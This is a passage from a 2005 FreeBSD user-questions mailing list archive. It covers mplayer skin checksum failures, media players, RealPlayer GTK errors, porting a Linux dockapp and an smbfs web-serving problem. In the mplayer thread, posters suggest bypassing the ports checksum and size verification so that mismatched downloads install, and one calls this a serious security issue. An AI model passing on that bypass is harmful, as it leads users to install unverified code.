> Rob wrote: > > > Gert Cuykens wrote: > > > > > >>Stop in /usr/ports/multimedia/mplayer. > > >>I# > > >> > > >>ok i am stuck here how can i display the configure > > > > > > screen again so i > > > > > >>can choise other skins ? > > > > > > > > > There's a problem with all/most skins size > > mismatch > > > in this port; I complained already, to no avail. > > > Don't know why noone wants to fix this. > > > > > > You can skip the checksum/size tests by setting > > > > > > setenv NO_CHECKSUM yes > > > > > > (see man ports) and then try installing mplayer > > again. > > > > > > Rob. > > > > Why don't you email the maintainer and ask them to > > fix it. > > > > $ cd /usr/ports/multimedia/mplayer-skins > > $ make maintainer > > I did that, but that should not stop you doing it > again. Maybe you've got more luck. > > Rob. > I had *exactly* the same problems problems.I get the advise to manually put everything in /usr/ports/distfiles/mplayer-skins. Also installing xine from ports gave similar problems. How is manually putting the files in place going to work when the directories are auto cleaned? I had to open a 2nd root term and cp-ing the files into place while the portupgrade while busy (after autoclean). Would be nice if there was an option with an argument that would stop auto cleansing the directory where you manually add some files in the first place. cheers, A happy beastie-boy > > > __________________________________ > Do you Yahoo!? > Yahoo! Mail - You care about security. So do we. > http://promotions.yahoo.com/new_mail > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 06:54:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EBE2016A4CE for ; Sun, 6 Feb 2005 06:54:27 +0000 (GMT) Received: from out009.verizon.net (out009pub.verizon.net [206.46.170.131]) by mx1.FreeBSD.org (Postfix) with ESMTP id 60CC243D39 for ; Sun, 6 Feb 2005 06:54:27 +0000 (GMT) (envelope-from reso3w83@verizon.net) Received: from ringworm.mechee.com ([4.26.84.7]) by out009.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050206065426.MDV4172.out009.verizon.net@ringworm.mechee.com>; Sun, 6 Feb 2005 00:54:26 -0600 Received: by ringworm.mechee.com (Postfix, from userid 1001) id 7061D2CE745; Sat, 5 Feb 2005 22:50:26 -0800 (PST) From: "Michael C. Shultz" To: freebsd-questions@freebsd.org Date: Sat, 5 Feb 2005 22:50:25 -0800 User-Agent: KMail/1.7.2 References: <4204127D.3070203@cis.strath.ac.uk> <20050205012855.65307.qmail@web54002.mail.yahoo.com> <20050206084608.427cb411@alcatraz.concepts.nl> In-Reply-To: <20050206084608.427cb411@alcatraz.concepts.nl> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502052250.26127.reso3w83@verizon.net> X-Authentication-Info: Submitted using SMTP AUTH at out009.verizon.net from [4.26.84.7] at Sun, 6 Feb 2005 00:54:26 -0600 cc: Peter Harmsen Subject: Re: /usr/ports/multimedia/mplayer X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 06:54:28 -0000 On Saturday 05 February 2005 11:46 pm, Peter Harmsen wrote: > On Fri, 4 Feb 2005 17:28:55 -0800 (PST) > > Rob wrote: > > --- Chris Hodgins wrote: > > > Rob wrote: > > > > Gert Cuykens wrote: > > > >>Stop in /usr/ports/multimedia/mplayer. > > > >>I# > > > >> > > > >>ok i am stuck here how can i display the configure > > > > > > > > screen again so i > > > > > > > >>can choise other skins ? > > > > > > > > There's a problem with all/most skins size > > > > > > mismatch > > > > > > > in this port; I complained already, to no avail. > > > > Don't know why noone wants to fix this. > > > > > > > > You can skip the checksum/size tests by setting > > > > > > > > setenv NO_CHECKSUM yes > > > > > > > > (see man ports) and then try installing mplayer > > > > > > again. > > > > > > > Rob. > > > > > > Why don't you email the maintainer and ask them to > > > fix it. > > > > > > $ cd /usr/ports/multimedia/mplayer-skins > > > $ make maintainer > > > > I did that, but that should not stop you doing it > > again. Maybe you've got more luck. > > > > Rob. > > I had *exactly* the same problems problems.I get the advise > to manually put everything in /usr/ports/distfiles/mplayer-skins. The size of the file to be downloaded does not match the size in distfile. To get around this all you need do is: rm /usr/ports/multimedia/mplayer-skins/distfile This will prevent the size from being checked, it is a serious security issue but if you really want the file.... -Mike > Also installing xine from ports gave similar problems. > How is manually putting the files in place going to work > when the directories are auto cleaned? > I had to open a 2nd root term and cp-ing the files into > place while the portupgrade while busy (after autoclean). > Would be nice if there was an option with an argument > that would stop auto cleansing the directory where you > manually add some files in the first place. > > cheers, > > A happy beastie-boy > > > __________________________________ > > Do you Yahoo!? > > Yahoo! Mail - You care about security. So do we. > > http://promotions.yahoo.com/new_mail > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to > > "freebsd-questions-unsubscribe@freebsd.org" > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 06:54:35 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D034C16A4CF for ; Sun, 6 Feb 2005 06:54:35 +0000 (GMT) Received: from smtp.concepts.nl (smtp-4.concepts.nl [213.197.30.111]) by mx1.FreeBSD.org (Postfix) with ESMTP id 36D0743D39 for ; Sun, 6 Feb 2005 06:54:35 +0000 (GMT) (envelope-from pharmsen@horizon.nl) Received: from [213.148.226.169] (helo=alcatraz.concepts.nl) by smtp.concepts.nl with smtp (Exim 4.42) id 1CxgIb-0001BZ-Io for freebsd-questions@freebsd.org; Sun, 06 Feb 2005 07:53:37 +0100 Date: Sun, 6 Feb 2005 08:54:15 +0100 From: Peter Harmsen To: freebsd-questions@freebsd.org Message-ID: <20050206085415.163eb98d@alcatraz.concepts.nl> In-Reply-To: <20050205174638.GA637@thought.org> References: <20050205065704.GJ8619@alzatex.com> <20050205174638.GA637@thought.org> X-Mailer: Sylpheed-Claws 0.9.12b (GTK+ 1.2.10; i386-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: media players X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 06:54:36 -0000 On Sat, 5 Feb 2005 09:46:38 -0800 Gary Kline wrote: > On Fri, Feb 04, 2005 at 10:57:04PM -0800, Loren M. Lang wrote: > > On Thu, Feb 03, 2005 at 06:15:18PM +0100, Gert Cuykens wrote: > > > I am looking for a media player that supports the oss sound driver, > > > easy to install codex, and uses the gtk2 libs ? > > > > xine is by far my favorite media app and has the best support for > > playing dvds with menus. It can use win32 codecs pretty well too. It > > doesn't use gtk2, but still has a very nice gui. mplayer is also pretty > > good, it can play dvds, but no real menu support that I've seen and > > win32 codecs also work. It has a gtk2 gui, but I think it's horrible. > > I use just it's plain window interface and just use keyboard shortcuts > > to control it. > > > > Can you (or anyone!) clue me in on how xine works? > Apps like RealPlayer just-work{TM}; mplayer has no > Quit button; xine looks lke something from Pluto. > > (Does xine work with links? netscapr7? ) > > gary Xine works just like any other (hardware) dvd-player,especially with the Celoma skins.Only thing you have to do is specifying the input device under the media tab.Most dvd players will be on "/dev/acdX" where X is 0,1,2....... > > > > -- > Gary Kline kline@thought.org www.thought.org Public service Unix > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 07:11:55 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6233016A4CE for ; Sun, 6 Feb 2005 07:11:55 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.192]) by mx1.FreeBSD.org (Postfix) with ESMTP id 46F1A43D1F for ; Sun, 6 Feb 2005 07:11:47 +0000 (GMT) (envelope-from aasted@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so605423wri for ; Sat, 05 Feb 2005 23:11:45 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=dDMVHpzHcaLsDX5X7SmhUmJ7JO5cusaMWKVFn63IVu3mymqgdhO1UA0p5coBSlCETjfRLUAif3C9fw6ISFT120rBRqzRVMLgwevmx25MUWex5vP660PegM2X1TPZkZJaVSxmVLM0riKAoQ92GdtuTePUwnZbdCjRXq2KrMIsAu0= Received: by 10.54.14.18 with SMTP id 18mr427348wrn; Sat, 05 Feb 2005 23:11:45 -0800 (PST) Received: by 10.54.25.31 with HTTP; Sat, 5 Feb 2005 23:11:45 -0800 (PST) Message-ID: Date: Sun, 6 Feb 2005 02:11:45 -0500 From: Matt Aasted To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Memory and Battery applets X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Matt Aasted List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 07:11:55 -0000 I'm running Gnome 2.8 on a recent version of FreeBSD Stable 5.3 on an x86 (dell latitude d600) processor, and whenever my system is on the memory usage shown in the gnome memory monitor slowly climbs to 100% over the course of about an hour. Gkrellm confirms that it the memory is slowly going away, even when I'm not interacting with the system. Should I be concerned about this (is there a memory leak or something or is the applet just buggy?) Furthermore, when I was running gnome 2.6 and 5.3 Release the battery applet would error about apm's non-responsiveness whenever the system was booted. Now, with 2.8 and stable, it doesn't error but instead periodically interupts function of mouse and keyboard (about once every 10 seconds) and therefore makes the system unusable (without massive frustration). Is this a bug, is this fixable, or should I just switch to gkrellm until something changes? -Matt Aasted From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 07:41:22 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3071616A4CE for ; Sun, 6 Feb 2005 07:41:22 +0000 (GMT) Received: from fuse1.fusemail.net (smtp.fusemail.net [69.31.1.141]) by mx1.FreeBSD.org (Postfix) with ESMTP id A499643D45 for ; Sun, 6 Feb 2005 07:41:21 +0000 (GMT) (envelope-from brianjohn@fusemail.com) Received: from fusemail.com by fuse1.fusemail.net with asmtp (FuseMail extSMTP) id 1Cxh2j-0007i7-QW for freebsd-questions@freebsd.org; Sun, 06 Feb 2005 01:41:18 -0600 Message-ID: <4205CA2F.9080107@fusemail.com> Date: Sun, 06 Feb 2005 01:41:35 -0600 From: Brian John User-Agent: Mozilla Thunderbird 1.0 (X11/20050203) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: problem with realplayer X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 07:41:22 -0000 Hello, whenever I try to run realplayer I get the following: $ realplay (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory Failed to load pixbuf file: /usr/local/lib/RealPlayer/share/realplay/icon.png: Couldn't recognize the image file format for file '/usr/local/lib/RealPlayer/share/realplay/icon.png' (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (realplay.bin:94093): GLib-WARNING **: GError set over the top of a previous GError or uninitialized memory. This indicates a bug in someone's code. You must ensure an error is NULL before it's set. The overwriting error message was: Couldn't recognize the image file format for file '/usr/local/lib/RealPlayer/share/default/pause.png' (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (realplay.bin:94093): GLib-WARNING **: GError set over the top of a previous GError or uninitialized memory. This indicates a bug in someone's code. You must ensure an error is NULL before it's set. The overwriting error message was: Couldn't recognize the image file format for file '/usr/local/lib/RealPlayer/share/default/volume_mute.png' (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (realplay.bin:94093): GLib-WARNING **: GError set over the top of a previous GError or uninitialized memory. This indicates a bug in someone's code. You must ensure an error is NULL before it's set. The overwriting error message was: Couldn't recognize the image file format for file '/usr/local/lib/RealPlayer/share/default/volume_off.png' (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (realplay.bin:94093): GLib-WARNING **: GError set over the top of a previous GError or uninitialized memory. This indicates a bug in someone's code. You must ensure an error is NULL before it's set. The overwriting error message was: Couldn't recognize the image file format for file '/usr/local/lib/RealPlayer/share/default/volume_low.png' (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (realplay.bin:94093): GLib-WARNING **: GError set over the top of a previous GError or uninitialized memory. This indicates a bug in someone's code. You must ensure an error is NULL before it's set. The overwriting error message was: Couldn't recognize the image file format for file '/usr/local/lib/RealPlayer/share/default/volume_mid.png' (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (realplay.bin:94093): GLib-WARNING **: GError set over the top of a previous GError or uninitialized memory. This indicates a bug in someone's code. You must ensure an error is NULL before it's set. The overwriting error message was: Couldn't recognize the image file format for file '/usr/local/lib/RealPlayer/share/default/volume_high.png' ** (realplay.bin:94093): WARNING **: No builtin or dynamically loaded modules were found. Pango will not work correctly. This probably means there was an error in the creation of: '/etc/pango/pango.modules' You may be able to recreate this file by running pango-querymodules. (realplay.bin:94093): GdkPixbuf-WARNING **: Can not open pixbuf loader module file '/etc/gtk-2.0/gdk-pixbuf.loaders': No such file or directory (realplay.bin:94093): GLib-GObject-CRITICAL **: file gobject.c: line 1337 (g_object_unref): assertion `G_IS_OBJECT (object)' failed It launches but all of the buttons have x's in them and all of the text appears to be gone from the UI. Any clue what might cause this and how to fix it? Thanks /Brian From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 08:10:17 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3C56916A4CE; Sun, 6 Feb 2005 08:10:17 +0000 (GMT) Received: from nezlok.unixathome.org (nezlok.unixathome.org [66.154.97.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1887443D41; Sun, 6 Feb 2005 08:10:17 +0000 (GMT) (envelope-from dan@nezlok.unixathome.org) Received: from localhost (localhost [127.0.0.1]) by nezlok.unixathome.org (Postfix) with ESMTP id 1D86B57AB; Sun, 6 Feb 2005 00:10:14 -0800 (PST) Received: from nezlok.unixathome.org ([127.0.0.1]) by localhost (nezlok.unixathome.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 57268-05; Sun, 6 Feb 2005 00:10:04 -0800 (PST) Received: by nezlok.unixathome.org (Postfix, from userid 1000) id B91785571; Sun, 6 Feb 2005 00:10:02 -0800 (PST) From: Dan Langille To: freebsd-newbies@freebsd.org, freebsd-questions@freebsd.org Message-Id: <20050206081002.B91785571@nezlok.unixathome.org> Date: Sun, 6 Feb 2005 00:10:02 -0800 (PST) X-Virus-Scanned: by amavisd-new at unixathome.org Subject: The FreeBSD Diary: 2005-01-16 - 2005-02-05 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 08:10:17 -0000 The FreeBSD Diary contains a large number of practical examples and how-to guides. This message is posted weekly to freebsd-questions@freebsd.org with the aim of letting people know what's available on the website. Before you post a question here it might be a good idea to first search the mailing list archives and/or The FreeBSD Diary . These are the articles posted during this period: 26-Jan : Setting up a printer Introducing the HP LaserJet 2550L Colour Laser Printer http://freebsddiary.org/hp-laserjet-2550l.php?2 -- Dan Langille BSDCan - http://www.BSDCan.org/ - BSD Conference From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 08:36:11 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1E37416A4CE for ; Sun, 6 Feb 2005 08:36:11 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 606CF43D46 for ; Sun, 6 Feb 2005 08:36:10 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j168aBj97688; Sun, 6 Feb 2005 00:36:11 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Brian John" , Date: Sun, 6 Feb 2005 00:36:07 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <4205B299.9080403@fusemail.com> Importance: Normal Subject: RE: How to compile linux apps? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 08:36:11 -0000 Brian, This package does some unportable stuff, one of the biggies is making assumptions about the system getopt. Your going to have to make some mods to it and no guarentees it will work even once you get it installed. Let us know, though. Anyway here's the list: 1) CD to /usr/ports/devel/libgnugetopt make DON'T DO MAKE INSTALL!!!! cd ./work/libgnugetopt-1.2 cp getopt1.c /usr/home/brian/allin1-0.5.0/src cp getopt.h /usr/home/brian/allin1-0.5.0/src cp getopt.c /usr/home/brian/allin1-0.5.0/src cd /usr/home/brian/allin1-0.5.0/src using your favorite text editor, open the Makefile located in the src directory in the distribution and make the following changes: CFLAGS = -ggdb -Wall -O2 -I /usr/X11R6/include MODULES = allin1.o dockhelper.o memory.o battery.o cpu.o \ network.o filesys.o confparse.o seti.o getopt.o getopt1.o INCLUDES = dockhelper.h memory.h battery.h cpu.h network.h filesys.h seti.h \ confparse.h getopt.h Now, in the allin1.c program, use a text editor and make the following changes: #include needs to be #include "getopt.h" add in #include line 215 of the program lists: strcpy(eth.intf_name,"eth"); change this to your network adapter interface, for example if it's "tl0" change this to: strcpy(eth.intf_name,"tl"); (this may need to be changed elsewhere in addition to this place, I did not bother looking over the code that well) Now, in the filesys.c program, use a text editor and make the following changes: get rid of the line #include and replace it with #include #include Now you can do "make" and you will get a binary. copy the allin1.conf.example to your home directory and edit it, then try running the binary on an Xterm and see what happens. It does appear to want to run best in Fluxbox I hope you have it installed. If it doesen't work, then e-mail the author of the program http://ilpettegolo.altervista.org/linux_allin1.en.shtml with the changes you have done, and he may go ahead and add in some ifdefs to the program to allow it to compile on FreeBSD out of the box, as well as fix whatever else on it doesen't work. Ted > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Brian John > Sent: Saturday, February 05, 2005 10:01 PM > To: freebsd-questions@freebsd.org > Subject: How to compile linux apps? > > > Hello, I'm trying to compile the 'allin1' dockapp for fluxbox. When I > type 'make', I get the following errors: > n# make > gcc -ggdb -Wall -O2 -c allin1.c > allin1.c:32:22: X11/Xlib.h: No such file or directory > In file included from allin1.c:34: > dockhelper.h:86: error: syntax error before '*' token > dockhelper.h:89: error: syntax error before "p" > dockhelper.h:92: error: syntax error before '*' token > dockhelper.h:95: error: syntax error before "src" > dockhelper.h:98: error: syntax error before '*' token > dockhelper.h:98: warning: type defaults to `int' in declaration of > `dh_display' > dockhelper.h:98: warning: data definition has no type or storage class > In file included from allin1.c:37: > cpu.h:54: error: syntax error before "Pixmap" > allin1.c: In function `main': > allin1.c:174: error: syntax error before "event" > allin1.c:414: warning: implicit declaration of function `XPending' > allin1.c:415: warning: implicit declaration of function `XNextEvent' > allin1.c:415: error: `event' undeclared (first use in this function) > allin1.c:415: error: (Each undeclared identifier is reported only once > allin1.c:415: error: for each function it appears in.) > allin1.c:417: error: `Expose' undeclared (first use in this function) > allin1.c:418: warning: implicit declaration of function > `XCheckTypedEvent' > allin1.c:421: error: `DestroyNotify' undeclared (first use in > this function) > allin1.c:422: warning: implicit declaration of function `XCloseDisplay' > *** Error code 1 > > Stop in /usr/home/brian/allin1-0.5.0/src. > > > Any clue how I can compile this? > > Thanks > > /Brian > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 08:54:52 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C149916A4CE for ; Sun, 6 Feb 2005 08:54:52 +0000 (GMT) Received: from whoweb.com (whoweb.com [66.180.172.55]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6CAFE43D48 for ; Sun, 6 Feb 2005 08:54:52 +0000 (GMT) (envelope-from mailist@whoweb.com) Received: from whoweb.com (localhost [127.0.0.1]) by whoweb.com (8.12.11/8.12.11) with ESMTP id j168tdPj086119 for ; Sun, 6 Feb 2005 03:55:39 -0500 (EST) Received: (from mailist@localhost) by whoweb.com (8.12.11/8.12.11/Submit) id j168tdfJ086118 for freebsd-questions@freebsd.org; Sun, 6 Feb 2005 03:55:39 -0500 (EST) Date: Sun, 6 Feb 2005 03:55:39 -0500 (EST) From: Incoming Mail List Message-Id: <200502060855.j168tdfJ086118@whoweb.com> To: freebsd-questions@freebsd.org Subject: smbfs problems X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 08:54:52 -0000 I'm experiencing a strange problem with smbfs and can't find any references to it on the web. I've mounted a share from a win2k machine that contains JPEG images to a mount point on my FreeBSD system using mount_smbfs. The mount point is located within an http directory tree so the JPEG images can be published on the web without using ftp. >From the FBSD console (or terminal), I can read, copy, and write to/from the win2k share. All files within the win2k share are showing 755 permissions. When I point a web browser (konqueror,MSIE) at the URL for this particular mount point the contents of the share show up (http directory listing) but I can't view any of the JPEG images. When I click on any image listed in the http directory listing, they show up blank just as if you had requested an image that doesn't exist on the web server. >From the FBSD side, I changed directory to the win2k share and created an HTML file that output text only. It worked. After refreshing the web browser, the .html file was listed and when I clicked on it, it rendered the text. Next, I added an tag to the same HTML file in the win2k share so it would output a JPEG image that was located there. The text appeared, but the image didn't. Next, I used a third machine running XP and accessed the win2k share via windows explorer. I clicked my way into the share and XP rendered all the images. I don't have X on the FBSD machine so I was not able to test viewing the JPEG images locally on the FBSD side. For some reason, JPEG images located within a smbfs mount will not display through a web browser. Has anyone else experienced this? Anyone willing to try to reproduce this? I don't know if this is smbfs, samba, or apache. VERSION and COMMAND INFO ======================== mount_smbfs -N -I 192.168.20.6 //account@machine/share /path/to/mountpnt FBSD 5.2.1 Apache-2.0.52 Samba-3.0.10 From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 09:07:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 22D6716A4CE for ; Sun, 6 Feb 2005 09:07:48 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8E76843D2D for ; Sun, 6 Feb 2005 09:07:47 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1697ij97800; Sun, 6 Feb 2005 01:07:45 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Sandy Rutherford" , Date: Sun, 6 Feb 2005 01:07:41 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <16901.23792.668233.856876@szamoca.krvarr.bc.ca> Importance: Normal Subject: RE: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 09:07:48 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Sandy > Rutherford > Sent: Saturday, February 05, 2005 3:55 PM > To: freebsd-questions@freebsd.org > Subject: Re: favor > > > >>>>> On Sat, 5 Feb 2005 11:43:32 +0100, > >>>>> Anthony Atkielski said: > > MH> But that's different in that it was never released to a > public forum > MH> in the first place (explicitly or otherwise). > > > I'm not sure what you mean by "public forum." A server > accessible from > > the Internet without any special authorization mechanism is about as > > public as anything can get, particularly if there is something else > > linking to it that allows spiders to find it. > > This is not so clear. In a March 2004 decision regarding P-to-P music > sharing, Justice von Finckenstein of the Federal Court of Canada ruled > that: > > The mere fact of placing a copy on a shared directory in a computer > where that copy can be accessed via a P2P service does not amount to > distribution. Before it constitutes distribution, there must be a > positive act by the owner of the shared directory, such as > sending out > the copies or advertising that they are available for copying. > > A parallel here would be that placing copyright material on a public > website would not amount to distribution and therefore, not be a > copyright infringement. Of course, it could be argued that if Google > started linking to it, that would constitute advertisement. However, > it is hard to see that as the prerequisite "positive act" on the part > of the web site owner. It is more a positive act on Google's part. > In his ruling, Finckenstein pointed out that there is a parallel with > public libraries. A public library does not infringe on copyright, > simply by having books available for loan. > There was an interesting case a number of years ago by some guy who had put up a website with a bunch of Multics stuff on it (I believe, it might have been VMS not Multics) The guy handed out the URL to some people he knew all of whom passed around the URL and all of whom agreed was a most useful site. The URL was passed to a number of additional people and posted on some other websites and pretty soon the guy was angrily e-mailing people telling them to stop linking to his site. You can imagine what the reactions by the sites were (your domain name and site are public and I'll link to it if I want) He eventually took it down. Ted From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 09:17:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id ED04C16A4CE for ; Sun, 6 Feb 2005 09:17:10 +0000 (GMT) Received: from nagual.st (cc20684-a.assen1.dr.home.nl [217.122.132.217]) by mx1.FreeBSD.org (Postfix) with ESMTP id D4B6643D46 for ; Sun, 6 Feb 2005 09:17:09 +0000 (GMT) (envelope-from dick@nagual.st) Received: from localhost (localhost [127.0.0.1]) (uid 1000) by nagual.st with 